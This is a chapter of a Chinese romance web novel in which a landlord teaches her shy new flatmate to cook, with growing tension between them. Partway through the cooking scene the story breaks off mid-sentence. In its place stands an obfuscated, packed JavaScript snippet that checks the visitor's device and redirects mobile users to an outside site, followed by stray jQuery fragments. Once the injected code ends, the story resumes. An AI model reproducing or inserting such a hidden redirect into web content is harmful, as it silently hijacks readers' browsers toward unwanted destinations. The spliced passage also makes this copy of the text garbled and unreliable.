水声停了。林荌关掉水龙头，转过身，用毛巾擦手。
“谁说你做得不好吃？”她问。
沈枝薇愣了一下：“你……你刚才不是说，咸了，糊了……”
“那是事实。”林荌把毛巾挂好，走到她面前，“但不好吃，和不能吃，是两回事。”
她比沈枝薇高，看着她的时候需要微微低头。厨房的灯光从她头顶照下来，在她脸上投出浅浅的阴影。
“我第一次做饭的时候，”林荌说，声音很平淡，“把锅烧穿了。”
沈枝薇睁大眼睛。
“真的。”林荌说，“煮泡面，水放少了，忘了关火，锅底烧出个大洞。整间屋子都是烟，邻居差点报警。”
沈枝薇没忍住，笑出声。
“所以，”林荌看着她笑，自己也弯了弯嘴角，“你已经很好了。”
沈枝薇的笑停住了。
她看着林荌，看着林荌眼睛里那点很淡的、几乎看不见的笑意，心脏的位置，那种酸胀的感觉又出现了。
比刚才更强烈。
“谢、谢谢。”她低下头，耳朵有点热。
“不用谢。”林荌绕过她，往客厅走，“明天我教你几个简单的菜。”
沈枝薇抬起头：“真的？”
“嗯。”林荌在沙发上坐下，拿起遥控器换台，“免得你下次再把蒜炒糊了。”
沈枝薇走过去，在她旁边坐下，中间隔了一个人的距离。
电视里在放新闻，主播的声音平稳无波。林荌靠在沙发背上，腿伸长，搭在茶几边缘，姿态放松。
沈枝薇偷偷看她。
林荌的侧脸很好看。鼻梁很高，嘴唇的线条很清晰，下颌线利落干净。她的睫毛很长，垂下来的时候，在眼下投出一小片阴影。
“看什么？”林荌忽然开口，眼睛还看着电视。
沈枝薇吓了一跳，赶紧移开视线：“没、没什么。”
林荌没再说话。
客厅里只有电视的声音。新闻播完，开始放天气预报。主持人说明天多云转晴，气温十八到二十五度。
“林荌。”沈枝微小声叫。
“嗯？”
“你为什么会……把房子租给我？”沈枝薇问，手指揪着衣角，“我的意思是，那么多人想租，为什么是我？”
林荌换了个姿势，转过头看她。
“你想听真话还是假话？”
“……真话。”
“真话是，”林荌说，目光平静，“你长得好看。”
沈枝薇愣住。
“我这个人，肤浅。”林荌转回头，继续看电视，“喜欢好看的东西。房子要好看，家具要好看，合租的人，也要好看。”
沈枝薇张了张嘴，想说点什么，但一个字也说不出来。
耳朵更热了。
“那、那假话呢？”她听见自己问。
“假话你。”
沈枝薇的心脏，重重地跳了一下。
“那……”她抿了抿唇，“你是因为真话租给我，还是因为假话？”
林荌没回答。
她拿起遥控器，关了电视。客厅里瞬间安静下来，只有窗外隐约传来的车流声。
“沈枝薇。”林荌站起来，低头看她。
沈枝薇仰起脸。
“有些问题，别问得太清楚。”林荌说，声音很轻，但很清晰，“问清楚了，就没意思了。”
她说完，转身往房间走。
走到门口，又停下，回过头。
“碗洗好了，厨房收拾干净了。”她说，“明天上午十点，我教你做菜，可别起不来。”
然后，她关上了门。
沈枝薇坐在沙发上，一动不动。
良久，她抬起手，摸了摸自己的耳朵。
烫的。
第二天上午十点，沈枝薇准时出现在厨房。
她穿了件简单的白T恤和牛仔短裤，头发扎成丸子头，脸上干干净净，没化妆。
林荌已经在了。她也穿了白T恤和短裤，不过是黑色的，头发扎成高马尾，看起来比平时更利落。
料理台上摆着食材：两个番茄，三个鸡蛋，一把小葱，还有蒜。
“今天学番茄炒蛋的改良版。”林荌说，递给她一条围裙，“穿上。”
围裙是深蓝色的，棉布材质，洗得有点发白。沈枝薇接过来，套上，在背后系带子。带子有点短，她系了半天，打了个歪歪扭扭的结。
林荌看不下去，走过来：“转过去。”
沈枝薇转过身。林荌的手指擦过她的后腰，解开那个歪扭的结，重新系好。她的动作很快，手指很轻，但沈枝薇还是感觉到，那一小块皮肤，像被烫了一下。
“好了。”林荌说，退后一步，“先打鸡蛋。碗，筷子，盐。”
沈枝薇照做。拿碗，拿筷子，拿盐罐。手有点抖，鸡蛋壳掉进碗里，她手忙脚乱地往外挑。
“别急。”林荌站在她身边，看着她，“慢慢来。”
她的声音很近，呼吸几乎擦过沈枝薇的耳朵。
沈枝薇深吸一口气，重新拿了两个鸡蛋，磕进碗里。这次很顺利，蛋壳完整地分成两半，蛋液滑进碗里。
“加一点盐，一点水。”林荌说，“水可以让鸡蛋更嫩。”
沈枝薇照做。加一小撮盐，加一小勺水，然后用筷子打散。蛋液在碗里旋转，变成均匀的淡黄色。
“可以了。”林荌说，“接下来，处理番茄。”
番茄已经洗好了。林荌递给她一把刀：“在顶端划十字，用开水烫，去皮。”
沈枝薇接过刀。刀很沉，她握得有点紧。
“别紧张。”林荌的手覆上来，握住她的手，“这样拿，手腕用力，不是手指。”
她的手比沈枝薇的大，掌心温热，手指有力。沈枝薇能感觉到她掌心的薄茧，摩擦过自己的手背。
“划十字，不用太深，划破皮就行。”林荌带着她的手，在番茄顶端轻轻划了两刀。
刀刃划破番茄皮，发出轻微的嗤声。
“好了。”林荌松开手，“去烫吧。”
沈枝薇把番茄放进碗里，浇上开水。番茄皮在热水里卷曲，脱离果肉。她看着，忽然想起以前在沈家，厨房的佣人也是这样处理番茄的。
但那时候，她从来不会看。
“在想什么？”林荌问。
沈枝薇回过神，摇摇头：“没什么。”
番茄烫好了，她捞出来，去皮，切块。林荌站在她身边，看着她切。
“刀工不行。”林荌评价，“但还行，能吃。”
沈枝薇切完番茄，额头上出了一层薄汗。她抬起手，想擦，林荌已经抽了张纸巾递过来。
“谢谢。”沈枝薇接过，擦了擦汗。
“开火，倒油。”林荌说，“油热了放鸡蛋。”
沈枝薇打开火，倒油。油热了，冒起青烟，她有点慌，不知道该什么时候放鸡蛋。
“现在。”林荌说。
沈枝薇把蛋液倒进去。滋啦一声，蛋液在锅里迅速膨胀，变成金黄色的蛋饼。她用锅铲翻炒，把鸡蛋炒散，盛出来。
“接下来炒番茄。”林荌说，“不用再放油，用底油就行。”
沈枝薇把番茄倒进去。番茄在锅里滋滋作响，汁水渗出，空气里弥漫开酸甜的香气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375405|200077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“加一点糖，中和酸味。”林荌递给她糖罐。
沈枝薇加了一小勺糖。
“再加一点番茄酱，颜色更好看。”
沈枝薇照做。
番茄炒软了，出汁了，林荌说：“把鸡蛋倒回去，翻炒均匀，撒葱花，出锅。”
沈枝薇手忙脚乱地把鸡蛋倒回去，翻炒，撒葱花，关火，盛盘。
一盘番茄炒蛋，完成了。
她看着那盘菜。鸡蛋金黄，番茄红润，葱花翠绿，汤汁浓稠。比昨天那盘好多了。
“尝尝。”林荌递给她一双筷子。
沈枝薇夹了一筷子，送进嘴里。
鸡蛋很嫩，番茄酸甜适中，味道……刚刚好。
“怎么样？”林荌问。
沈枝薇抬起头，眼睛亮晶晶的：“好吃！”
林荌笑了。不是那种很淡的笑，是真正的、眼睛弯起来的笑。
“嗯。”她说，“好吃。”
沈枝薇也笑，笑着笑着，眼眶有点热。
她赶紧低下头，又夹了一筷子，塞进嘴里。
“慢点吃。”林荌说，转身从冰箱里拿出两盒牛奶，递给她一盒，“又没人跟你抢。”
沈枝薇接过牛奶，插上吸管，喝了一大口。
冰凉的牛奶冲淡了嘴里的味道，但那种酸甜的感觉，还留在舌尖。
“林荌。”她小声叫。
“嗯？”
“谢谢你。”沈枝薇说，声音很轻，但很认真，“真的。”
林荌没说话，只是看着她。
阳光从窗户照进来，落在沈枝薇脸上。她的睫毛很长，在眼下投出浅浅的阴影。鼻尖上有一点点汗，脸颊因为热气而泛着淡淡的粉。
她的眼睛很亮，像含着水光。
林荌移开视线，喝了一口牛奶。
“不用谢。”她说，声音很淡，“学费，从你下个月房租里扣。”
沈枝薇愣了一下，然后笑出声。
“好。”她说，笑得眼睛弯成月牙，“扣多少？”
“一盘菜，十块。”林荌说，放下牛奶盒，“你欠我十块。”
沈枝微笑得更厉害了。她笑得肩膀都在抖，笑得眼泪都出来了。
林荌看着她笑，嘴角也微微扬起。
“傻不傻。”她说，伸手，用指腹擦掉沈枝薇眼角的泪。
动作很轻，很快，一触即分。
沈枝薇的笑声戛然而止。
她看着林荌，看着林荌的手指，看着林荌的眼睛。
林荌也看着她，目光平静，深邃，像看不到底的湖。
空气突然安静了。
只有窗外的鸟叫声，和冰箱低沉的嗡鸣。
“我……”沈枝薇开口，声音有点哑。
“我出去一下。”林荌打断她，转身往外走，“下午回来。你自己吃饭。”
“林荌！”沈枝薇叫住她。
林荌停在门口，没回头。
“晚上……”沈枝薇说，手指紧紧攥着围裙的边缘，“晚上，你想吃什么？我、我可以再做……”
林荌沉默了几秒。
“随便。”她说，然后拉开门，走了出去。
门关上。
沈枝薇站在厨房里，看着那盘还冒着热气的番茄炒蛋，看着林荌刚才站过的地方。
然后，她抬起手，摸了摸自己的眼角。
那里，还残留着一点温度。
林荌手指的温度。
沈枝薇缓缓蹲下来，抱住膝盖，把脸埋进臂弯里。
心脏跳得很快，咚咚咚，像要撞出胸膛。
她不知道这是怎么了。